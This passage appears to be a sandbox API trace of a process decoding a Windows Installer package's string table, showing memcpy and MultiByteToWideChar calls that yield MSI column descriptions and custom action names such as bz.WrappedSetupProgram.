0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x338e00, cchWideChar=8 | out: lpWideCharStr="Feature_") returned 8 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x362954, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3a5, _Size=0x1f | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=31, lpWideCharStr=0x339390, cchWideChar=31 | out: lpWideCharStr="Foreign key into Feature table.") returned 31 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x362958, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3c4, _Size=0xa | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33ad60, cchWideChar=10 | out: lpWideCharStr="Component_") returned 10 [0121.187] memcpy (in: _Dst=0x10ce458, _Src=0x36295c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.187] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3ce, _Size=0x21 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=33, lpWideCharStr=0x32f940, cchWideChar=33 | out: lpWideCharStr="Foreign key into Component table.") returned 33 [0121.188] memcpy (in: _Dst=0x10ce458, _Src=0x362960, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.188] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3ef, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x338e30, cchWideChar=4 | out: lpWideCharStr="File") returned 4 [0121.188] memcpy (in: _Dst=0x10ce458, _Src=0x362964, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.188] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3f3, _Size=0x73 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=115, lpWideCharStr=0x21c39f0, cchWideChar=115 | out: lpWideCharStr="Primary key, non-localized token, must match identifier in cabinet. For uncompressed files, this field is ignored.") returned 115 [0121.188] memcpy (in: _Dst=0x10ce458, _Src=0x362968, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.188] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b466, _Size=0x39 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=57, lpWideCharStr=0x32c030, cchWideChar=57 | out: lpWideCharStr="Foreign key referencing Component that controls the file.") returned 57 [0121.188] memcpy (in: _Dst=0x10ce458, _Src=0x36296c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.188] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b49f, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383b30, cchWideChar=8 | out: lpWideCharStr="FileName") returned 8 [0121.188] memcpy (in: _Dst=0x10ce458, _Src=0x362970, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.188] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4a7, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383b60, cchWideChar=8 | out: lpWideCharStr="Filename") returned 8 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x362974, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b4af, _Size=0x63 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=99, lpWideCharStr=0x2fcc20, cchWideChar=99 | out: lpWideCharStr="File name used for installation, may be localized. This may contain a \"short name|long name\" pair.") returned 99 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x362978, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b512, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383ef0, cchWideChar=8 | out: lpWideCharStr="FileSize") returned 8 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x36297c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b51a, _Size=0x25 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=37, lpWideCharStr=0x32f9b0, cchWideChar=37 | out: lpWideCharStr="Size of file in bytes (long integer).") returned 37 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x362980, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b53f, _Size=0x7 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x383b00, cchWideChar=7 | out: lpWideCharStr="Version") returned 7 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x362984, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b546, _Size=0x36 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] CExposedStream::Read () returned 0x0 [0121.189] memcpy (in: _Dst=0x10ce516, _Src=0x35b17c, _Size=0xb | out: _Dst=0x10ce516) returned 0x10ce516 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=65, lpWideCharStr=0x37de90, cchWideChar=65 | out: lpWideCharStr="Version string for versioned files; Blank for unversioned files.") returned 65 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x362988, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b187, _Size=0x8 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383bf0, cchWideChar=8 | out: lpWideCharStr="Language") returned 8 [0121.189] memcpy (in: _Dst=0x10ce458, _Src=0x36298c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.189] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b18f, _Size=0x3f | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=63, lpWideCharStr=0x32c170, cchWideChar=63 | out: lpWideCharStr="List of decimal language Ids, comma-separated if more than one.") returned 63 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x362990, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b1ce, _Size=0x76 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=118, lpWideCharStr=0x21c49e0, cchWideChar=118 | out: lpWideCharStr="Integer containing bit flags representing file attributes (with the decimal value of each bit position in parentheses)") returned 118 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x362994, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b244, _Size=0x4a | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=74, lpWideCharStr=0x3bd420, cchWideChar=74 | out: lpWideCharStr="Sequence with respect to the media images; order must track cabinet order.") returned 74 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x362998, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b28e, _Size=0x4 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x383c20, cchWideChar=4 | out: lpWideCharStr="Icon") returned 4 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x36299c, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b292, _Size=0x23 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=35, lpWideCharStr=0x32fa20, cchWideChar=35 | out: lpWideCharStr="Primary key. Name of the icon file.") returned 35 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x3629a0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b2b5, _Size=0x4f | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=79, lpWideCharStr=0x3bd360, cchWideChar=79 | out: lpWideCharStr="Binary stream. The binary icon data in PE (.DLL or .EXE) or icon (.ICO) format.") returned 79 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x3629a4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b304, _Size=0x16 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=22, lpWideCharStr=0x2fa900, cchWideChar=22 | out: lpWideCharStr="InstallExecuteSequence") returned 22 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x3629a8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b31a, _Size=0x11 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2fa950, cchWideChar=17 | out: lpWideCharStr="InstallUISequence") returned 17 [0121.190] memcpy (in: _Dst=0x10ce458, _Src=0x3629ac, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.190] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b32b, _Size=0xf | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33ada0, cchWideChar=15 | out: lpWideCharStr="LaunchCondition") returned 15 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629b0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b33a, _Size=0x48 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=72, lpWideCharStr=0x37e0a0, cchWideChar=72 | out: lpWideCharStr="Expression which must evaluate to TRUE in order for install to commence.") returned 72 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629b4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b382, _Size=0x48 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=72, lpWideCharStr=0x37dde0, cchWideChar=72 | out: lpWideCharStr="Localizable text to display when condition fails and install must abort.") returned 72 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629b8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3ca, _Size=0x5 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=5, lpWideCharStr=0x383b90, cchWideChar=5 | out: lpWideCharStr="Media") returned 5 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629bc, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3cf, _Size=0x6 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x383950, cchWideChar=6 | out: lpWideCharStr="DiskId") returned 6 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629c0, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b3d5, _Size=0x37 | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=55, lpWideCharStr=0x32dbd0, cchWideChar=55 | out: lpWideCharStr="Primary key, integer to determine sort order for table.") returned 55 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629c4, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] memcpy (in: _Dst=0x10ce4e0, _Src=0x35b40c, _Size=0xc | out: _Dst=0x10ce4e0) returned 0x10ce4e0 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33ade0, cchWideChar=12 | out: lpWideCharStr="LastSequence") returned 12 [0121.191] memcpy (in: _Dst=0x10ce458, _Src=0x3629c8, _Size=0x4 | out: _Dst=0x10ce458) returned 0x10ce458 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=54, lpWideCharStr=0x32f1c0, cchWideChar=54 | out: lpWideCharStr="File sequence number for the last file for this media.") returned 54 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33ae20, cchWideChar=10 | out: lpWideCharStr="DiskPrompt") returned 10 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=132, lpWideCharStr=0x3776e0, cchWideChar=132 | out: lpWideCharStr="Disk name: the visible text actually printed on the disk. This will be used to prompt the user when this disk needs to be inserted.") returned 132 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x384010, cchWideChar=7 | out: lpWideCharStr="Cabinet") returned 7 [0121.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=102, lpWideCharStr=0x2fcd10, cchWideChar=102 | out: lpWideCharStr="If some or all of the files stored on the media are compressed in a cabinet, the name of that cabinet.") returned 102 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x33ae60, cchWideChar=11 | out: lpWideCharStr="VolumeLabel") returned 11 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=35, lpWideCharStr=0x32fa90, cchWideChar=35 | out: lpWideCharStr="The label attributed to the volume.") returned 35 [0121.192] CExposedStream::Read () returned 0x0 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383c50, cchWideChar=8 | out: lpWideCharStr="Property") returned 8 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=55, lpWideCharStr=0x32edd0, cchWideChar=55 | out: lpWideCharStr="The property defining the location of the cabinet file.") returned 55 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=62, lpWideCharStr=0x32c2b0, cchWideChar=62 | out: lpWideCharStr="Name of property, uppercase if settable by launcher or loader.") returned 62 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=48, lpWideCharStr=0x34ab40, cchWideChar=48 | out: lpWideCharStr="String value for property. Never null or empty.") returned 48 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383e60, cchWideChar=8 | out: lpWideCharStr="Registry") returned 8 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=33, lpWideCharStr=0x32fb00, cchWideChar=33 | out: lpWideCharStr="Primary key, non-localized token.") returned 33 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=4, lpWideCharStr=0x383ce0, cchWideChar=4 | out: lpWideCharStr="Root") returned 4 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=63, lpWideCharStr=0x32bf90, cchWideChar=63 | out: lpWideCharStr="The predefined root key for the registry value, one of rrkEnum.") returned 63 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=3, lpWideCharStr=0x383e30, cchWideChar=3 | out: lpWideCharStr="Key") returned 3 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x383a70, cchWideChar=7 | out: lpWideCharStr="RegPath") returned 7 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=31, lpWideCharStr=0x3394b0, cchWideChar=31 | out: lpWideCharStr="The key for the registry value.") returned 31 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=24, lpWideCharStr=0x2fa9a0, cchWideChar=24 | out: lpWideCharStr="The registry value name.") returned 24 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2fa9f0, cchWideChar=19 | out: lpWideCharStr="The registry value.") returned 19 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=110, lpWideCharStr=0x35c5d0, cchWideChar=110 | out: lpWideCharStr="Foreign key into the Component table referencing component that controls the installing of the registry value.") returned 110 [0121.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=7, lpWideCharStr=0x383e00, cchWideChar=7 | out: lpWideCharStr="Upgrade") returned 7 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=11, lpWideCharStr=0x33aea0, cchWideChar=11 | out: lpWideCharStr="UpgradeCode") returned 11 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=59, lpWideCharStr=0x32cc10, cchWideChar=59 | out: lpWideCharStr="The UpgradeCode GUID belonging to the products in this set.") returned 59 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33aee0, cchWideChar=10 | out: lpWideCharStr="VersionMin") returned 10 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=126, lpWideCharStr=0x2129120, cchWideChar=126 | out: lpWideCharStr="The minimum ProductVersion of the products in this set. The set may or may not include products with this particular version.") returned 126 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=10, lpWideCharStr=0x33af20, cchWideChar=10 | out: lpWideCharStr="VersionMax") returned 10 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=126, lpWideCharStr=0x2129240, cchWideChar=126 | out: lpWideCharStr="The maximum ProductVersion of the products in this set. The set may or may not include products with this particular version.") returned 126 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=96, lpWideCharStr=0x3819d0, cchWideChar=96 | out: lpWideCharStr="A comma-separated list of languages for either products in this set or products not in this set.") returned 96 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=35, lpWideCharStr=0x32fb70, cchWideChar=35 | out: lpWideCharStr="The attributes of this product set.") returned 35 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=6, lpWideCharStr=0x383ec0, cchWideChar=6 | out: lpWideCharStr="Remove") returned 6 [0121.193] CExposedStream::Read () returned 0x0 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=96, lpWideCharStr=0x381ab0, cchWideChar=96 | out: lpWideCharStr="The list of features to remove when uninstalling a product from this set. The default is \"ALL\".") returned 96 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33af60, cchWideChar=14 | out: lpWideCharStr="ActionProperty") returned 14 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=56, lpWideCharStr=0x32eef0, cchWideChar=56 | out: lpWideCharStr="The property to set when a product in this set is found.") returned 56 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33afa0, cchWideChar=14 | out: lpWideCharStr="CostInitialize") returned 14 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=8, lpWideCharStr=0x383aa0, cchWideChar=8 | out: lpWideCharStr="FileCost") returned 8 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33afe0, cchWideChar=12 | out: lpWideCharStr="CostFinalize") returned 12 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33b020, cchWideChar=15 | out: lpWideCharStr="InstallValidate") returned 15 [0121.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2faa40, cchWideChar=17 | out: lpWideCharStr="InstallInitialize") returned 17 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2faa90, cchWideChar=19 | out: lpWideCharStr="InstallAdminPackage") returned 19 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33b060, cchWideChar=12 | out: lpWideCharStr="InstallFiles") returned 12 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33b0a0, cchWideChar=15 | out: lpWideCharStr="InstallFinalize") returned 15 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=13, lpWideCharStr=0x33b0e0, cchWideChar=13 | out: lpWideCharStr="ExecuteAction") returned 13 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=15, lpWideCharStr=0x33b120, cchWideChar=15 | out: lpWideCharStr="PublishFeatures") returned 15 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33b160, cchWideChar=14 | out: lpWideCharStr="PublishProduct") returned 14 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=22, lpWideCharStr=0x2faae0, cchWideChar=22 | out: lpWideCharStr="bz.WrappedSetupProgram") returned 22 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=18, lpWideCharStr=0x2fab30, cchWideChar=18 | out: lpWideCharStr="bz.CustomActionDll") returned 18 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2103d10, cchWideChar=19 | out: lpWideCharStr="bz.ProductComponent") returned 19 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=38, lpWideCharStr=0x32fbe0, cchWideChar=38 | out: lpWideCharStr="{EDE10F6C-30F4-42CA-B5C7-ADB905E45BFC}") returned 38 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=16, lpWideCharStr=0x33b1a0, cchWideChar=16 | out: lpWideCharStr="BZ.INSTALLFOLDER") returned 16 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33b1e0, cchWideChar=12 | out: lpWideCharStr="regLogonUser") returned 12 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=19, lpWideCharStr=0x2103d60, cchWideChar=19 | out: lpWideCharStr="bz.EarlyInstallMain") returned 19 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=14, lpWideCharStr=0x33b220, cchWideChar=14 | out: lpWideCharStr="_InstallMain@4") returned 14 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=38, lpWideCharStr=0x32fc50, cchWideChar=38 | out: lpWideCharStr="bz.EarlyInstallSetPropertyForDeferred1") returned 38 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=22, lpWideCharStr=0x2103db0, cchWideChar=22 | out: lpWideCharStr="bz.EarlyInstallFinish2") returned 22 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=12, lpWideCharStr=0x33b260, cchWideChar=12 | out: lpWideCharStr="[BZ.INIFILE]") returned 12 [0121.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce4e0, cbMultiByte=17, lpWideCharStr=0x2103e00, cchWideChar=17 | out: lpWideCharStr="_InstallFinish2@4") returned 17 [0121.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 